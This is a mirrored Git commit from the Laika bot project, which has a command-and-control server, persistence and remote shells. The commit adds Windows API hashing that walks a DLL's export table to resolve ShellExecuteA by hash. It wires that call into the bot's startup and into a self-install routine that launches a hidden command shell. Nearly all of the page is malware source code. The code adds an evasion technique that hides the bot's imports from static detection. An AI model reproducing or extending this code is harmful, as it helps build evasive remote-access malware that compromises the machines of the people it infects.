mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-21 20:40:05 +00:00
Bot: Added boilerplate windows API obfuscation
- Grabs the functions directly from the loaded library by walking the exported address table and comparing hashes - For now, only ShellExecuteA has been setup, more to come
This commit is contained in:
parent
18a6fdd124
commit
b2f8efc402
17
bot/include/obf.h
Normal file
17
bot/include/obf.h
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
#ifndef LAIKA_OBF_H
|
||||||
|
#define LAIKA_OBF_H
|
||||||
|
|
||||||
|
#include "laika.h"
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
# include <windows.h>
|
||||||
|
|
||||||
|
/* WINAPI types */
|
||||||
|
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
|
||||||
|
|
||||||
|
extern _ShellExecuteA oShellExecuteA;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
void laikaO_init();
|
||||||
|
|
||||||
|
#endif
|
6
bot/lin/linobf.c
Normal file
6
bot/lin/linobf.c
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
#include "obf.h"
|
||||||
|
|
||||||
|
void laikaO_init()
|
||||||
|
{
|
||||||
|
/* stubbed */
|
||||||
|
}
|
@ -3,6 +3,7 @@
|
|||||||
#include "lconfig.h"
|
#include "lconfig.h"
|
||||||
#include "lerror.h"
|
#include "lerror.h"
|
||||||
#include "ltask.h"
|
#include "ltask.h"
|
||||||
|
#include "obf.h"
|
||||||
#include "persist.h"
|
#include "persist.h"
|
||||||
#include "shell.h"
|
#include "shell.h"
|
||||||
|
|
||||||
@ -27,6 +28,9 @@ int main()
|
|||||||
LAIKA_BOX_SKID_START(char *, cncPORT, LAIKA_CNC_PORT);
|
LAIKA_BOX_SKID_START(char *, cncPORT, LAIKA_CNC_PORT);
|
||||||
struct sLaika_bot *bot;
|
struct sLaika_bot *bot;
|
||||||
|
|
||||||
|
/* init API obfuscation (windows only) */
|
||||||
|
laikaO_init();
|
||||||
|
|
||||||
#ifdef LAIKA_PERSISTENCE
|
#ifdef LAIKA_PERSISTENCE
|
||||||
laikaB_markRunning();
|
laikaB_markRunning();
|
||||||
|
|
||||||
|
137
bot/win/winobf.c
Normal file
137
bot/win/winobf.c
Normal file
@ -0,0 +1,137 @@
|
|||||||
|
#include "obf.h"
|
||||||
|
|
||||||
|
/*
|
||||||
|
Most of this file was adapted from
|
||||||
|
https://github.com/LloydLabs/Windows-API-Hashing/blob/master/resolve.c
|
||||||
|
|
||||||
|
Checkout their repository! All I did was minor formatting changes and some misc. cleanup
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <process.h>
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
/* ======================================[[ API Hashing ]]====================================== */
|
||||||
|
|
||||||
|
#define RESOLVE_NAME_MAX 4096
|
||||||
|
#define RESOLVE_REL_CALC(x, y) ((LPBYTE)x + y)
|
||||||
|
|
||||||
|
/*
|
||||||
|
getHashName(LPCSTR) -> uint32_t
|
||||||
|
uses the SuperFastHash algorithm to create an unsigned 32-bit hash
|
||||||
|
*/
|
||||||
|
uint32_t getHashName(LPCSTR cszName)
|
||||||
|
{
|
||||||
|
SIZE_T uNameLen, i;
|
||||||
|
PBYTE pbData = (PBYTE)cszName;
|
||||||
|
uint32_t u32Hash = 0, u32Buf = 0;
|
||||||
|
INT iRemain;
|
||||||
|
|
||||||
|
if (cszName == NULL)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
if ((uNameLen = strnlen_s(cszName, RESOLVE_NAME_MAX)) == 0)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
iRemain = (uNameLen & 3);
|
||||||
|
uNameLen >>= 2;
|
||||||
|
|
||||||
|
for (i = uNameLen; i > 0; i--) {
|
||||||
|
u32Hash += *(const UINT16 *)pbData;
|
||||||
|
u32Buf = (*(const UINT16 *)(pbData + 2) << 11) ^ u32Hash;
|
||||||
|
u32Hash = (u32Hash << 16) ^ u32Buf;
|
||||||
|
pbData += (2 * sizeof(UINT16));
|
||||||
|
u32Hash += u32Hash >> 11;
|
||||||
|
}
|
||||||
|
|
||||||
|
switch (iRemain) {
|
||||||
|
case 1:
|
||||||
|
u32Hash += *pbData;
|
||||||
|
u32Hash ^= u32Hash << 10;
|
||||||
|
u32Hash += u32Hash >> 1;
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
u32Hash += *(const UINT16 *)pbData;
|
||||||
|
u32Hash ^= u32Hash << 11;
|
||||||
|
u32Hash += u32Hash >> 17;
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
u32Hash += *(const UINT16 *)pbData;
|
||||||
|
u32Hash ^= u32Hash << 16;
|
||||||
|
u32Hash ^= pbData[sizeof(UINT16)] << 18;
|
||||||
|
u32Hash += u32Hash >> 11;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
u32Hash ^= u32Hash << 3;
|
||||||
|
u32Hash += u32Hash >> 5;
|
||||||
|
u32Hash ^= u32Hash << 4;
|
||||||
|
u32Hash += u32Hash >> 17;
|
||||||
|
u32Hash ^= u32Hash << 25;
|
||||||
|
u32Hash += u32Hash >> 6;
|
||||||
|
|
||||||
|
return u32Hash;
|
||||||
|
}
|
||||||
|
|
||||||
|
void *findByHash(LPCWSTR module, uint32_t hash)
|
||||||
|
{
|
||||||
|
HMODULE hLibrary;
|
||||||
|
PIMAGE_DOS_HEADER pDOSHdr;
|
||||||
|
PIMAGE_NT_HEADERS pNTHdr;
|
||||||
|
PIMAGE_EXPORT_DIRECTORY pIED;
|
||||||
|
PDWORD pdwAddress, pdwNames;
|
||||||
|
PWORD pwOrd;
|
||||||
|
|
||||||
|
if ((hLibrary = LoadLibrary(module)) == NULL)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
/* grab DOS headers & verify */
|
||||||
|
pDOSHdr = (PIMAGE_DOS_HEADER)hLibrary;
|
||||||
|
if (pDOSHdr->e_magic != IMAGE_DOS_SIGNATURE)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
/* grab NT headers & verify */
|
||||||
|
pNTHdr = (PIMAGE_NT_HEADERS)RESOLVE_REL_CALC(hLibrary, pDOSHdr->e_lfanew);
|
||||||
|
if (pNTHdr->Signature != IMAGE_NT_SIGNATURE)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
/* verify that this NT file is a DLL & actually exports functions */
|
||||||
|
if ((pNTHdr->FileHeader.Characteristics & IMAGE_FILE_DLL) == 0 ||
|
||||||
|
pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0 ||
|
||||||
|
pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size == 0)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
pIED = (PIMAGE_EXPORT_DIRECTORY)RESOLVE_REL_CALC(
|
||||||
|
hLibrary,
|
||||||
|
pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||||
|
|
||||||
|
pdwAddress = (PDWORD)RESOLVE_REL_CALC(hLibrary, pIED->AddressOfFunctions);
|
||||||
|
pdwNames = (PDWORD)RESOLVE_REL_CALC(hLibrary, pIED->AddressOfNames);
|
||||||
|
pwOrd = (PWORD)RESOLVE_REL_CALC(hLibrary, pIED->AddressOfNameOrdinals);
|
||||||
|
|
||||||
|
/* walk library export table, compare hashes until we find a match */
|
||||||
|
for (DWORD i = 0; i < pIED->AddressOfFunctions; i++) {
|
||||||
|
if (getHashName((LPCSTR)RESOLVE_REL_CALC(hLibrary, pdwNames[i])) == hash)
|
||||||
|
return (void *)RESOLVE_REL_CALC(hLibrary, pdwAddress[pwOrd[i]]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* function name was not found */
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#undef RESOLVE_REL_CALC
|
||||||
|
|
||||||
|
/* ======================================[[ Exposed API ]]====================================== */
|
||||||
|
|
||||||
|
_ShellExecuteA oShellExecuteA;
|
||||||
|
|
||||||
|
void laikaO_init()
|
||||||
|
{
|
||||||
|
uint32_t hash;
|
||||||
|
|
||||||
|
/* TODO: these library strings should probably be obfuscated (by a skid box maybe?) */
|
||||||
|
oShellExecuteA = findByHash("shell32.dll", 0x89858cd3);
|
||||||
|
|
||||||
|
hash = getHashName("ShellExecuteA"); /* 0x89858cd3 */
|
||||||
|
printf("ShellExecuteA: real is %p, hashed is %p. [HASH: %x]\n", (void *)ShellExecuteA,
|
||||||
|
findByHash("shell32.dll", hash), hash);
|
||||||
|
}
|
@ -11,6 +11,7 @@
|
|||||||
#include "lerror.h"
|
#include "lerror.h"
|
||||||
#include "lmem.h"
|
#include "lmem.h"
|
||||||
#include "lvm.h"
|
#include "lvm.h"
|
||||||
|
#include "obf.h"
|
||||||
#include "persist.h"
|
#include "persist.h"
|
||||||
|
|
||||||
HANDLE laikaB_mutex;
|
HANDLE laikaB_mutex;
|
||||||
@ -150,7 +151,7 @@ void installSelf()
|
|||||||
lstrcatA(szCmd, szInstall);
|
lstrcatA(szCmd, szInstall);
|
||||||
|
|
||||||
if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 ||
|
if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 ||
|
||||||
(INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
|
(INT)oShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
|
||||||
LAIKA_ERROR("Failed to start shell for moving exe!\n");
|
LAIKA_ERROR("Failed to start shell for moving exe!\n");
|
||||||
|
|
||||||
laikaB_unmarkRunning();
|
laikaB_unmarkRunning();
|
||||||
|
@ -23,7 +23,6 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
|
|||||||
|
|
||||||
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
|
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
|
||||||
{
|
{
|
||||||
;
|
|
||||||
TCHAR szComspec[MAX_PATH];
|
TCHAR szComspec[MAX_PATH];
|
||||||
struct sLaika_RAWshell *shell =
|
struct sLaika_RAWshell *shell =
|
||||||
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
|
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
|
||||||
|
Loading…
Reference in New Issue
Block a user